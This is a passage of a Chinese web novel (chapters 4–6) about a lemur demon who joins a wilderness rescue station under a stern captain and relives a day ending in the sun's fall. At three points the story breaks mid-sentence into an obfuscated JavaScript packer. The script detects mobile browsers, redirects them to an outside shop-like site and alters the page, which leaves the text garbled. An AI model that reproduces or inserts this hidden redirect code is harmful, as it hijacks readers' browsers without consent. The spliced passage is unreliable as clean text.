姜绕月悄摸探头去看,沈归岷在跟人打电话。 “偷猎者坦白, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486398|202032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们认识一个组织。” 姜绕月竖起耳朵。 “……是,那个组织盯上日山。我们正在查询……” 谁盯上日山? 原来不止胖子眼镜这种人,还有组织盯上日山? 姜绕月心内天人交战,她不能这样回日山,得留下来探查,待那什么组织没了后,再回去。 她是族内唯一修成人形的狐猴妖,是族群希望,她得保护自己的族群。 而且,如今能修成人形,她想融入人类社会,此时便是一个机会。 可是,要怎样才能名正言顺留下?还能参与他们工作? 那边,沈归岷还在说话:“对了,联系特殊机构,叫他们来‘不归林’野外救助站,日山上有……”,话到这,稍稍回头,跟姜绕月视线对上,他对电话那端“先挂了”,之后冷冰冰地凝视姜绕月:“我真这么厉害,会被你们关起来?”居然阴阳怪气学她说话。 “为什么妄自菲薄,你太厉害了。” 姜绕月化出人形,她不吃沈归岷的阴阳怪气:“我是茶老板、舞蹈家、魔术师,当然厉害了。” “所以……”姜绕月靠近沈归岷。 沈归岷万分戒备,姜绕月态度滑跪:“你留下我吧!让我当你的员工。” 姜绕月自卖自夸:“我超厉害的!我既可变人形,也可化狐猴形态,我的腕腺可以留气味帮认路,还可以攀爬绝壁,帮你们探查危险地带,我的体能异于常人可协助你们工作。” 沈归岷不为所动。 姜绕月放大招:“我还有绝招,手电筒肯定有没电的时候,我手指可以凝出微光照亮!”说着,使用妖力凝光。 有路过队员见状,吓得发抖:“妖怪!队长,赶紧派特殊机构来人啊!” 姜绕月再起玩弄之心,怕我?她朝队友呲牙。队友几乎吓晕过去。 沈归岷惜字如金:“理由。” 姜绕月感觉有戏:“我想保护山上狐猴,它们是我的家人。所以,你留下我吧,让我参与你们的工作,把那个坏组织干掉。” 沈归岷盯着姜绕月,几秒后:“我拒……”绝字还没出。 “不要啊!”姜绕月要扑向沈归岷,沈归岷一避,姜绕月更纠缠,她一个劲说:“留下我吧留下我吧留下我吧……” “我这么有价值,”姜绕月可怜兮兮看向沈归岷,“而且,你人缘不好,都没人跟你说话,我还可以陪你聊天。” 要晕过去的队友听言,不由给姜绕月竖起一个拇指,他们的救援队长因嘴毒,荣获站内人缘最差榜首,但没人敢说,今日被一个可怕妖怪说出来,真是可喜可贺。 他对妖怪的恐惧,因为妖怪的话,消失了一点。 不过,照这么看,妖怪说了这句话,肯定留不下来。 他们的救援队长不止嘴毒,还记仇,虽然平日都是高冷装货形象。 沈归岷:“我人缘……不好?” 你看,开始记仇了。 姜绕月后知后觉自己说错话,假笑:“没有没有……”她恨不得扇自己嘴,怎么说了这话!还能留下来吗…… 沈归岷绕过姜绕月,不发一言。 姜绕月在背后耍赖:“你不说话,那就是同意我留下。” 沈归岷顿住脚,瞥她一眼,吐出几个字:“可以。你说的,陪、我、聊、天。”尤其最后四字,一字一字,暗含力气,说完转身就走,留下一个高冷背影。 队友拍拍姜绕月肩,幸灾乐祸:“你惨喽。” 惨不惨,姜绕月没下结论,待拿到“不归林”野外救助站,野外生存专家、特聘向导工作证时,姜绕月心想,应该不惨吧。 然而拿到厚厚一本工作须知,且沈归岷要求她字字句句背下来后,姜绕月睁眼说瞎话:“我不识字。” 沈归岷:“……我会叫人念给你听,之后,你当面给我背……工作须知第一条,日常用人形现身,不准随意化狐猴形,不准随便用妖术,第二条,严格执行上级安排,你的上级是我,你只能回答我‘是’。” “如果做不到,我不再隐瞒你妖怪身份,且立马叫特殊机构来人,我有的是办法抓住你。” 化成狐猴形态的姜绕月刚要耍赖耍懒,闻言摸摸鼻子,恢复人形,咽下“不要”,干巴巴回答:“是。” 好吧,确实有点惨。 4. 第4章 夜色寂寥,连星也没半颗,沉沉墨布压在日山上空,其间,越野车绕过曲折山路,翻越层林,一路往下,轮胎甩起粘稠黑泥,再打过急弯,狭窄道路豁然开朗,两侧隐没暗夜的黑山默言: 欢迎来到不归林。 不归林离日山山脚大概八公里,不闻山林鸟叫兽鸣,远人类小镇约十五公里,不见灯火辉煌饭菜烟火,只有两栋冰冷建筑,风打在地面废铜烂铁上,哗啦啦声音,比刀刃更冷。 沈归岷利落下车,抖落身上尘埃,迈步进入左侧建筑,那是救助站住所,两层,一层队员住,一层他住。 上得楼梯,开门,关门。 动作干净利落。 进浴室洗澡,换下衣物已整齐叠好,搁在洗衣机盖板,棱角边缘对齐。 赤脚踩在地板上,沈归岷不用试水温,他知道拧多少度,水温控制在四十一度。在水温降至三十八度,洗完澡。 刷牙,从尾端往前推牙膏,刷完不多不少,刚好两分钟。洗完脸,毛巾叠回四折,放回原处。 每个步骤足够完美,没有任何拖泥带水。 待看完十页书,整理好今日事毕,及明日将做之事,于凌晨两点整,沈归岷终于上床睡觉。 他需六点起,不用定闹钟,他的身体比闹钟更准时。 沈归岷阖眼,控制自己在二十次呼吸后,进入沉眠。 第一次呼吸。 “碰!” 第三次呼吸。 “我赢啦!” 第十次呼吸。 “你作弊!居然偷看我牌!” 第十五次呼吸。 “你敢悔牌?不行不行!” 第二十次呼吸。 “我居然输了!!!” “再来一局!” 沈归岷冷冷睁眼。好吧,他差点忘了,姜绕月住他隔壁。 没有什么能扰乱他,他重新闭上眼,试图屏蔽闹音,回到自己有序世界。 却忽然睁开。 只听—— “我又胡啦!哈哈哈哈哈哈哈!” 笑声格外放肆。 姜绕月笑得太狠,忽然鼻子一酸,打个大喷嚏,指着对面三具骸骨:“是不是你们在骂我!” 骸骨一:“谁敢骂你,而且你声音太大了!” 骸骨二:“旁边还住着人,不怕吵到他吗?” 姜绕月摆手:“我白日问了计槐,她说今晚沈归岷不回来,而且,二层房间隔音效果好,就算沈归岷回来,应该也听不见声音,除非他神经衰弱,耳朵敏感,听不得一点杂音。”计槐便是兽医。 门外,神经衰弱、耳朵敏感、听不得一点杂音的沈归岷,即将抬手敲门。 骸骨三:“我们不打了吧,万一沈归岷真回来……” 姜绕月很放心:“回来没事,听见声音也没事,我觉得,沈归岷不是小气的人……” 神经衰弱、耳朵敏感、听不得一点杂音、小气的沈归岷,已然敲门。 静立一旁的骸骨四立刻开门,它忍不了了,赶紧来人收拾一下姜绕月吧,否则,它们四个肯定要陪她打到天明。 于是,沈归岷便看到,一张麻将桌,桌边三具骸骨,罪魁祸首一只脚搁头顶,另一只脚随意耷拉椅背,左手两颗麻将,右手挠头,奇形怪状地回头看他,心虚一声:“沈归岷,你回来了啊……” 沈归岷露出昨日以来第一个愤怒表情,说出昨日以来最长一句话: “姜、绕、月,以后不准夜间打麻将,不准半夜大笑,不准奇形怪状姿态,不准吵闹他人,不准……我会把以上内容,写入你的工作须知,今日日落之前,再给我完整背一遍!” 说完,狠狠关门,留姜绕月尴尬摸鼻子,四骸骨无声大笑。 姜绕月终于老实,收回妖力,四骸骨消失,她瘫躺床上,头悬空床边,顶住地面,没一会睡着。 而一墙之隔,沈归岷的节奏被打乱,根本睡不着,过了许久,才堪堪入睡。 他梦里,也是那个吵闹的姜绕月,化成狐猴形态,抱住他腿撒娇,说:“沈队长,我不要背那么、那么、那么厚的工作须知。” 他心想,哪有那么、那么、那么厚?顶多两个那么。 他静立,一语不发,看姜绕月还要干什么。 姜绕月见他没反应,口中重复:“不要啊。” “我求求你嘛。好不好。” “不要啊。” “不要啊。” “不要问我太阳有多高……” 嗯? “我会告诉你我有多真……” 姜绕月搁他耳边唱歌?! 沈归岷骤然骇醒。 音乐从墙壁另一端传来,沈归岷恢复理智,重叹口气。 温柔甜美歌声循环到第五遍时,沈归岷黑着脸,掏出备用钥匙,打开隔壁门。 罪魁祸首头顶地板,颈部悬空,身体倒躺在床,右腿搭左腿,翘着二郎腿睡觉! 床头手机屏幕闪烁,闹钟仍循环“不要问我太阳有多高……”。 沈归岷深吸一口气,他几乎失眠一夜,而姜绕月睡得比猪都沉! 胸中的气膨胀、膨胀,留下姜绕月这五日来,这是他第五次后悔留下她,前四次是姜绕月磕磕巴巴背工作须知时。 他进去,关掉闹钟,没收手机,手机是计槐给的,至于麻将桌,他竟不知姜绕月怎么搞来的,想来定用了妖术。 姜绕月还在熟睡。 沈归岷失眠一夜,到底气不过,狠狠关上门。 姜绕月一下惊醒。 * “大家早上好!你们想我了吗?我可是非常想你们!” 姜绕月虽然只睡了几小时,但状态不错,她来到工作地前楼,给众人打招呼,阳光在她背后闪烁,眉眼都是生机。 计槐抱着文件出来,笑道:“我们昨天见了面的呀。” 姜绕月很喜欢兽医计槐,过去贴贴:“昨天才见面,我就不能想你们吗?哪怕一个小时不见,我也会想你的!” 计槐抱抱姜绕月:“哎哟,你怎么这么会!”和不说话高冷、一说话嘴毒的那谁,简直两个极端。 一屋子人皆哈哈回话,问姜绕月有没有吃东西。 几日以来,不归林大部分人都熟悉了这位兼任茶老板、舞蹈家、魔术师的妖怪。 妖怪其实跟他们人类差不多,反而更爱撒娇一点、更会表达一点,尤其得知妖怪居然当面说他们沈队长“人缘不好”,他们更是对妖怪怀抱敬意,从最初的“赶紧送去特殊机构”到“我这有香蕉,你吃吗?” 所有人都眉眼笑意,除了从工作室出来的沈归岷。 沈归岷满面怨怼,将重新打印好的工作须知,扔姜绕月怀里:“日落前到我这背。” 待沈归岷回他工作室后,众人才重新说话。 计槐纳闷:“还背啊?我见你背好几遍了。”说着拿过工作须知看。 姜绕月:“他就是看我不爽,他就是报复!” 计槐翻到最后:“十点前必须睡觉,不准夜间打麻将,不准半夜大笑,不准奇形怪状姿态……不准用闹钟?” “爹都没管得这么多。” 闹钟? 姜绕月摸摸身上,丢三落四的习惯怎么也改不了,曾经联系胖子眼镜的手机不知在哪,这下,计槐给的手机好像也不见了。 “槐姐,你给我的手机,好像不见了。”姜绕月苦涩。 计槐余光略过沈归岷工作室:“没事。可能你的手机被沈队长拿走了。” 姜绕月闻言:“好。我找他要回来。” 计槐刚要出声阻止,姜绕月已闪进沈归岷办公室。 沈归岷知道她进来,眼都懒得抬,姜绕月自知吵到沈归岷睡觉,态度还算好,她问:“我们什么时候调查那个组织呀?” “原来你还知道你留下来的目的。”沈归岷又阴阳怪气。 姜绕月想到这几日,明面上,她在医务室听计槐念工作须知,之后她背,实际上,她没背几句,便偷懒玩手机上的麻将,玩得乐不思蜀,玩得不知姓甚名谁。 姜绕月靠近沈归岷:“我当然知道,所以,我们什么时候调查那个组织呢?” 沈归岷:“明天。” “好,”姜绕月心道,那么今日还可玩一日,她伸手过去,“手机还我吧。” 沈归岷盯着她白嫩的手,再抬眼:“叫计槐进来。” 姜绕月不明所以,却还是叫计槐来。 “手机我没收了,”沈归岷眼睛幽幽盯住计槐,“至于你,再敢送她手机,你可能不想要工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486399|202032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资了。” 计槐敢怒不敢言,却也无法,在不归林,沈归岷确实独大。 姜绕月敢怒敢言:“你凭什么扣我槐姐工资,要扣也是扣我的!” 沈归岷冷笑:“你还想有工资?”言外之意,留下你,便该知足。 “我居然没工资?!”姜绕月指着自己。 沈归岷:“你要什么工资?你要花钱买什么?充欢乐豆?” 姜绕月被戳中意图,还要跟沈归岷掰扯,计槐悄悄捏她手,她福至心灵,读懂计槐意图,给沈归岷留下一句:“好吧。” 两人出去,计槐轻声道:“我有办法,中午下班后我带你去。” 姜绕月点头。 午后,两人悄咪咪从后门溜走,再悄咪咪开车从小路溜走。 “槐姐,我们去哪?” “我们去刮彩票。”计槐眨眼。 姜绕月虽是妖怪,但对人类之事,之前通过手机了解不少,曾看到有人刮中躺平后半辈子的钱。若真刮中买手机的钱,手机又不是计槐买的,是她自己用中奖钱买的,便可如此回答沈归岷。只是,她事先肯定藏起来,不叫“沈爹”发现。 到了小镇彩票店,外间日头正毒。 店不大,几平方,墙上只一张喜报:“恭喜本店彩民喜中十万”。 “才十万……”计槐摇头。 老板闻言:“我们这小地方?十万还不多?!” “当然不多了!”计槐推着姜绕月肩头出来,说,“看到没有?” 老板:“看到了,小美女嘛。” 计槐满脸“非也”:“她不只是小美女,还是能刮中一百万、哦不一千万的大美人!” 老板:“嚯!牛逼!刮一个我看看,刮不出来我吃X。” 计槐:“老板一会不要太爱吃X。” 姜绕月被莫名其妙架上去,看向老板随手推过来的彩票,问计槐:“老大,我们这样自欺欺人、还欺老板,真行吗?” 计槐无所谓,她只过嘴瘾:“试试不就行了。”她扫给老板买一张彩票的钱。 在老板无限打量目光中,在计槐诡异信心满满视线里,姜绕月硬着头皮随便选了一张,递给老板。 老板哼一声:“我倒要看看能刮出多少。”拿起塑料刮片,三下五除二刮掉。 计槐继续打嘴瓢:“怎么样!是不是特别多!”却话音一转。 “二十有吧?” 计槐笑着看向老板,老板把票举起来,看了又看,神色不对,计槐暗道不是吧:“五块有没?” 老板一语不发。 计槐转身,拍姜绕月肩:“妹儿,这样吧,我直接带你去买手机,你回去藏起来,实在被沈队长发现,就咬死说自己买的。” 姜绕月感恩点头。 “到底多少?”计槐转身,去拿老板手里彩票。 老板手都在抖。 计槐看清上面内容,半晌,对姜绕月说:“妹儿啊,以后姐跟你姓了。” 姜绕月颇有些丈二和尚,摸不着头脑:“姜槐吗?也行啊,不过你父母同意吗?” 计槐握住姜绕月手:“我父母也会跟你姓的。因为,你刮中了……” “一个亿!”老板简直不敢置信,跟后面来的彩民,说了一遍又一遍,“她们刚走不久,明日便来兑奖。” 回到不归林,听说自己刮中一个亿,姜绕月不知不觉硬气了,沈归岷要她去背工作须知,姜绕月心道,我明日就买下不归林,成为你上级,看你还让不让我背! 她和计槐早约好,一起当沈归岷上级,现在怎么看沈归岷,再怎么高冷端着,都觉得沈归岷是她小弟,沈小弟。 但最后,迫于“沈大爹”威压,姜绕月还是背了。 夜间,她也没敢打麻将,只待明日,翻身农奴把歌唱,打倒沈归岷专制! 岂料、谁知…… 大半夜,被没收起来的手机,在隔壁沈归岷屋开始响,姜绕月恍惚间被闹醒,意识到她之前给自己定了前半夜睡醒起来打麻将的闹钟,忘关了。 甜美歌声流淌而出。 “不要问我太阳有多高。” 姜绕月抬眼,看清外界,完全惊醒,猛地瞪大双眸。 “我会告诉你……” 太阳已经掉下来了。 5. 第5章 哦豁。 我的一个亿。 我的翻身农奴把歌唱。 我的推翻沈归岷专制。 我的手机。 最最重要的,我在日山上的家人。 全都湮灭消失。 * “不要问我太阳有多高……” 姜绕月骇醒,胸口剧烈起伏,阳光穿透窗帘,落在她脸上,暖洋洋的,她颤抖抬手,感受到温暖。 她还活着。 床上闹钟吵闹不已,此时正是日出清晨。 然而,记忆里,伴着同样闹铃的,是黑幕天空中,火球似的太阳,从高空坠落、爆炸。 在人类熟睡时刻,悄然毁灭整个世界。 诡异、可怕。 明明太阳带光,天空却那般黑,直到太阳彻底降临人间,天空被太阳完整遮蔽,那时,一切都灭亡。 姜绕月记得,自己共定了两个闹钟,一个早晨八点,一个凌晨一点。 也就是说,凌晨一点,太阳升起,它不再给世界带来光明,连周遭天空都不再受它青睐,它愤怒、无声坠落,再轰然爆炸,世界湮灭,一切消失殆尽。 姜绕月挣扎从地面起来,拿过手机,关掉闹钟,看日期,正是5月9日,而5月10日凌晨一点,坠日。 今日是无声末日前夕。 这种末日,怎么说呢?不科学,但充满神秘学。 姜绕月心道,自己就是个超自然存在妖怪,那么,太阳也可以超越科学,成为神秘的毁灭符号。 只是…… 哪怕她是妖怪,被坠日火焰活活烧死,也很痛啊!自己妖力微弱,根本抵挡不了熊熊地狱烈火。 如果她不做些什么,阻挡坠日,明日凌晨一点,她将再次经历这般生死煎熬、痛苦不堪。她在日山的家人,也会死。 那劳什子组织,她还未开始调查,便陷入如此绝境。 “唉——”姜绕月长长叹气。 “叹什么气?”沈归岷黑着脸,冷言恶语。 姜绕月吓一跳:“你怎么进来了?” 沈归岷拎着备用钥匙,狭长眼尾带冷笑,瞥过她手机:“原来你还知道关闹钟啊。” 姜绕月瞧见沈归岷黑眼圈,想到自己凌晨一点被闹钟叫醒,开始如痴如醉打麻将,后面沈归岷回来,被她闹到忍无可忍,敲门不准她再打,这会,估计一早被她八点闹钟闹醒…… 他们两人不同房间,虽然相邻,但不至于……好吧,要么她真的声音太大,要么沈归岷太敏感,亦或者,两者都有。 在沈归岷比锅底还黑的脸色下,姜绕月老实道歉:“对不起对不起对不起。我再不会闹你了……”才怪!她这会看闹钟音量,都不到半,是正常音量。 许是她眼神太不服,沈归岷过来,强硬收走手机,半句话不说,转身就走。 姜绕月怔愣片刻,被沈归岷一打岔,她都忘记问沈归岷,记得发生过什么吗? 他们记得吗? 看沈归岷气到不行的神色,如果不是端着,定要说她几句的模样,不像是记得的样子。 姜绕月心下一沉,她简单收拾,跑到工作地前楼:“大家早上好!” “早上好呀!绕月。”计槐抱着文件,探出头来。 姜绕月立刻上去抱住她,脸贴着脸,被坠日火焰包围时,她以为再也见不到计槐了。 “槐姐,我非常想你!”姜绕月由衷道。 计槐笑笑:“我们昨天见了面的呀。” 姜绕月重复说过的话:“昨天才见面,我就不能想你们吗?哪怕一个小时不见,我也会想你的!” “绕月,你太会啦!小心我爱上你哦。”计槐开始打嘴瓢。 屋里人哈哈交谈,直到沈归岷怨怼出工作室,扔给姜绕月工作须知,勒令她日落前背。 都要末日了,还背什么啊。姜绕月腹诽。 待沈归岷回工作室,小厅里几人才继续讲话。 段干回:“绕月,你吃早餐了吗?我这有香蕉,给你。” 段干回正是那日目睹姜绕月说沈归岷人缘不好的队友。 姜绕月接过,笑嘻嘻道:“谢谢你。” 段干回神神秘秘掏出手机:“你说你是环尾狐猴妖,应该能听懂环尾狐猴说的话吧?” 姜绕月点头,那当然了。 “有个疑问困扰我很久,”段干回点开手机屏幕,猴子“呜哇!呜哇!嘎嘎!”之声倾泻而出,他继续说,“这是来自马达加斯加的环尾狐猴,你是来自中国的环尾狐猴,中国动物和外国动物,语言互通吗?你能听懂它的话吗?” 姜绕月凑过去,仔细分辨外国猴子语,段干回见姜绕月故作高深模样,期待:“它在说什么?” “它在说……”好吧,姜绕月听不懂外国猴子语,遂跟着视频猴子叫起来,“呜哇!呜哇!嘎嘎!” 上一次,她直接去寻沈归岷要手机,并未留在小厅,原来留在小厅后,段干回会问她这个问题…… 段干回见姜绕月反应:“看来不止我们要学人类外语,猴子若要听懂外国猴子话,也得学啊!” 姜绕月:“按理说是的。” 段干回:“唉,但是你也会说人话,之前学过吗?” 姜绕月真没想过这个问题,她能听懂日山狐猴家人的话,毕竟是日山环尾狐猴妖,但听懂人类语言,是怎么回事?而且她还认字。之前学过?没有吧。 段干回打破砂锅问到底,有点像发神经:“既然听得懂中文,那么英语呢?Howareyou?提问,这句话是什么意思!下一句是什么!” “我倒是不知道,段干回,你这么爱英语啊,”沈归岷冷冰冰声音响起,“音频信号破解好了?” “还有你,”责备目光落在计槐脸上,“新药研制方案写出来了?” “下午四点之前,都交给我。” 沈归岷最后看向姜绕月:“你不觉得,你的出现,总是打扰他们工作吗?” 姜绕月干脆反驳:“不觉得,反而你的出现,太泼冷水了。” 段干回本来蔫着,回去坐好,听到姜绕月的话,再次悄摸摸竖起拇指。来不归林这么久,从未有人敢顶沈归岷嘴。 沈归岷皱眉,要说什么,电话响了,他警告地瞥视姜绕月一眼,回工作间。 段干回笑着对她举起大拇指,计槐对她轻声说:“以后多怼怼他,反正我们是不敢了……” 一时间,小厅几人各自带着浅笑。 但是,他们都会死。 姜绕月嘴边笑容顿住。 眼前几张活生生笑脸,模糊中,变成被火包裹的血污之脸。 除了胖子眼镜,不归林众人是她化形以来遇到的唯一人类,和利欲熏心的胖子眼镜不同,他们有自己的工作事业,小厅上方“让每个生命,都归于林”,是他们的理想抱负。 他们对自己从最初戒备,到如今可以嬉笑交谈。 一想到凌晨一点坠日,再看几人友善目光,姜绕月心脏刺痛。 她忽然冲出去,看着天上日。 光球刺眼,刺得她睁不开眼。 怎么会掉下来? 还有她的日山家人。 所有生命都会死。 在5月10日凌晨一点,所有活着的都会坠入火海,煎熬死亡。 而且,只有她记得…… “太阳掉下来,会怎样?” 姜绕月闻言,蓦然回首,看到计槐,计槐摊手: “我见你盯着太阳看,便想到小时候的天真想法,如今想来真是好笑。太阳怎会掉下来?地球绕着太阳高速运动,引力提供所需的向心力。不是太阳不掉,而是地球不会掉进太阳。” “这样啊。”姜绕月若有所思,但是物理、科学,好像并不能解释她见到的坠日场景,在这个世界,现存物理、科学仿佛行不通,比如她的存在便无法解释。 还是说,其实坠日之事,是她的幻想? 计槐笑:“我说这些,你应该听不懂吧?” 哪里听不懂,听得不能再懂了,姜绕月很乱,她听得懂计槐口中的“引力、向心力”,更听得懂段干回口中的“Howareyou”,但她听不懂外国猴子语…… 比起猴子,她似乎更偏向人类?话说,她不是环尾狐猴妖吗? 心思乱,姜绕月没心思去找沈归岷要手机,自然不会引发刮彩票一事。 日落前,她磕磕巴巴背完工作须知,在太阳落入地平线那一刻,她敲响住所一层计槐房门。 “槐姐,我今晚能和你住吗?” “可以啊!要不是一楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486400|202032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没单独房间,你肯定不会跟沈队长共住二楼。” 两人对月谈天说地。 “我跟你说,刚来日山那会分房间,没有人愿意跟沈归岷一层楼,所有人不约而同说住一楼,一楼正好住满,沈归岷被我们排挤去了二楼。” 关了房门,计槐也敢直呼沈归岷大名。 姜绕月想到接下来的坠日,心思乱飞,随口回复:“看出来,你们都讨厌他。” 计槐:“讨厌?可能吧,我感觉更多的是,不想跟他接触。不愿接触不等于讨厌。他这个人,对自己严格,对他人也严格,与其说讨厌,不如说一种远离中的敬畏。” “你知道吗?有次野外任务,好几个晚上,我亲眼看见他,在二十次呼吸后睡着了。真的,就二十次呼吸,我数了。一个不差!” “所以,你看,这样一丝不苟、有自我秩序、严格要求的人,很难有朋友,自然更难有恋人。” “绕月,你不能跟他在一起,他这个人,太无趣啦!” 姜绕月听计槐最后一句话,心道什么在不在一起,都要末日了,还是随口附和:“好。我听你的。” 不知是她表情太过随意,计槐又道:“若跟他在一起,他肯定比白日叫你背工作须知那种,更要控制你。不准你跟其他男人接触,不准看其他男人超过两眼,不、不对,不止男人,其他雄性动物都不行!” 姜绕月心道“哪有那么夸张”,见计槐滔滔不绝、大有彻聊整晚的架势,好吧,计槐就是想说话、大说乱说,毕竟在她来之前,不归林还没有其他女性。可能也没人听计槐乱讲话。 耳边是计槐的胡言乱语,姜绕月听着听着,心中恐惧莫名消去一分。 待计槐嘟囔完最后一句,熟睡过去,天边月被云层笼罩,暂时消失。 姜绕月拂过计槐手机,时间00:29,还有半个小时,便到凌晨一点。 世界一片寂静,姜绕月只听到自己的心跳,“咚”“咚”“咚”,仿佛整个世界只剩她自己。 突然好害怕。 恐惧铺天盖地、席卷而来。 然而,计槐轻微的鼾声,打破末日前的寂静,也打碎末日本身。 姜绕月看着计槐侧脸,想到计槐睡着之前,说明日去刮彩票,刮到百万千万,买下不归林,成为沈归岷上级。谁知她们真能刮中彩票,还是一个亿! 思及此,姜绕月心情轻松一点,或许、指不定,坠日是她的幻觉? 明日一早,她仍可以充满活力地对小厅众人说:“大家早上好!你们想我了吗?我可是非常想你们!”然后,在休息时间,和计槐去刮彩票。 她握住计槐手机,时间00:30,还有半个小时,便知是真实,还是幻觉。 她轻轻下床,来到窗边,她要亲眼看着。 轻声拉开窗帘,地平线上,只见一颗火球似的东西高悬夜空,以肉眼可见的速度下坠。 速度越来越快,火球越来越大,渐渐占满整个天际,两秒钟功夫,地平线那条天地交界处,已燃起火焰。 姜绕月不能呼吸。 是真的。 并且,时间还提前了半小时。 刹那间,火焰席卷世界,根本没有反应时间,□□灵魂都囚于烈焰牢笼。 “绕月!快逃!” 姜绕月回头,万千火星中,计槐被烧醒,困于熊熊燃烧的床铺,话再说不出,顷刻间,肉泥被火舔舐,骨架都成虚无。 火蔓延至姜绕月眼底,黑色瞳孔里,倒映着的,是炼狱世界,是再无明日的绝望,是人类甚至无法反抗的痛苦。 被火彻底吞噬前,姜绕月手探出包围圈,凝出妖力,而这份妖力成了倒满汽油后扔进去的打火机。 “嘭”。 世界都炸开。 * “好疼!” “好痛!” “你痛什么?疼什么?” 姜绕月猛然惊醒,沈归岷握着手机,手机屏幕上是八点闹钟铃响,沈归岷关掉闹钟,终于忍不住,要数落她:“凌晨打麻将、早晨闹钟不关、做噩梦大喊大哭,你是来报复我的?” 姜绕月根本听不进沈归岷的话,她侧头,属于“昨日”的阳光第三次降临她身,但“明日”的阳光再也不会来。 并且,依然只有她记得。 6. 第6章 沈归岷:“……你哭什么?” 姜绕月听言,才发觉自己已泪流满面。 “太阳……太阳掉下来了。”姜绕月失声痛哭。 瘦削肩膀颤抖,少女无法肩负如此重担。谁能帮帮她?能帮她分担一点? 阳光之下,沈归岷的脸沉在阴影里,高挺眉目蹙起,狭长眼睛微眯,眼尾都是嫌弃:“你在说什么梦话?” “不归林不欢迎疯子。” 姜绕月睁开泪眼。 “更不欢迎傻子。” 姜绕月捏紧拳头,好气啊。 “你以为你很理智、很智慧吗!”如果你碰到这种情况,也不一定会冷静。 沈归岷冷冰冰注视她几秒,最后吐出几个字:“你自己冷静一下。” 姜绕月盯着沈归岷离去背影,心道,沈归岷是个冷酷无情的混蛋! 她自己缓了缓,整理好心情,简单收拾后,前往工作地小厅。 “大家早上好!” 还是计槐最先回她:“早上好呀!绕月。” 这次,姜绕月不会去找沈归岷要手机,也不会再跟段干回进行,“中国动物能不能听懂外国动物话”对话,这次,她要时时刻刻观察太阳。 她沉默着找了个向阳角落坐下,对着太阳看,光球刺眼,她眨巴眨巴眼,缓缓后继续观察,其实看不出什么特别来,跟平时的太阳无半分差别。 计槐见状,纳了闷:“绕月,你不开心吗?” 姜绕月勉强扯出笑容:“没有啊……” “有!你忘了说那句话。” 姜绕月:“哪句话?” 段干回探头,学着姜绕月音色:“你们想我了吗?我可是非常想你们!” 计槐搭话:“过去几日,你每天早上都会说想我们。” 姜绕月听到段干回口中说出自己的台词,竟一时羞赧,她头搁在台上,道:“我是不是太轻浮了?随随便便说想这个字。” 她记得,第一次对不归林众人说“想你们”时,众人皆投来古怪目光,哪有萍水相逢陌生人说想你想我的?太随便,太自来熟了。 段干回点头:“确实轻浮。我以为你没意识到。” 姜绕月:“好吧,我以后不说了。” “别呀!”段干回赶忙道,他嘴朝沈归岷工作间怒了努,“你来之前,不归林气氛可差了,虽然你很随便、很自来熟、很大胆、很会怼沈队长、看起来很不聪明的样子,但是每天早上,有你说早上好想你们这种话,我就觉得,这一天都有活力了。” 姜绕月:“……我谢谢你。” 计槐白了段干回一眼:“段干回的意思是,你很有活力,你说话很有传染力,给我们不归林这滩死水,带来如太阳般的活泼生机!” “你们太夸张了。”姜绕月喃喃,尤其听到太阳二字,心情更低落。 计槐、段干回互相对视一眼,皆疑惑。 “我们不归林的小太阳掉落了!”计槐在第五次看到姜绕月盯着太阳发呆后,来到沈归岷工作间,“不笑了,也不爱说话了,是不是沈队长你欺负了她?” 沈归岷:“小太阳?” 计槐:“绕月啊。” 沈归岷反问:“你觉得,我……欺负了她?” 计槐看到,沈归岷眼下比熊猫还黑的黑眼圈,那个“是”硬没说出来,转而道:“明日特殊机构才来不归林调查组织,今日我带绕月去小镇逛逛吧,她可能太闷了。” 沈归岷下意识拒绝,莫名想到早晨姜绕月的眼泪,手底下打印好的新工作须知,到现在也没扔给姜绕月背,他捏了捏山根:“可以。但你今日算旷工处理。” 计槐深吸一口气:“行。” “绕月,走,我带你去镇上逛逛。”计槐笑嘻嘻拉起姜绕月,姜绕月本来想说不去,计槐先道,“我们去刮彩票!” “明日,我们去刮彩票,刮个百万千万的,买下不归林,成为沈归岷上级!” 第二次坠日前,计槐的话犹在耳边,姜绕月口中“不想去”怎么都说不出来。 如果真有明日就好了。 稀里糊涂来到镇上,彩票店门口,有一个小女孩,女孩穿着漂亮公主裙,抱着公主芭比娃娃玩耍,却被一旁的男孩笑话:“芭比娃娃有什么好玩的,而且长得太丑了!还是我的骑士帅气!” 说着,掏出英勇骑士,骑士背后红色披风猎猎,满是英雄气概。 老板的声音传来:“小子!再敢欺负妹妹,看我打不打死你!” 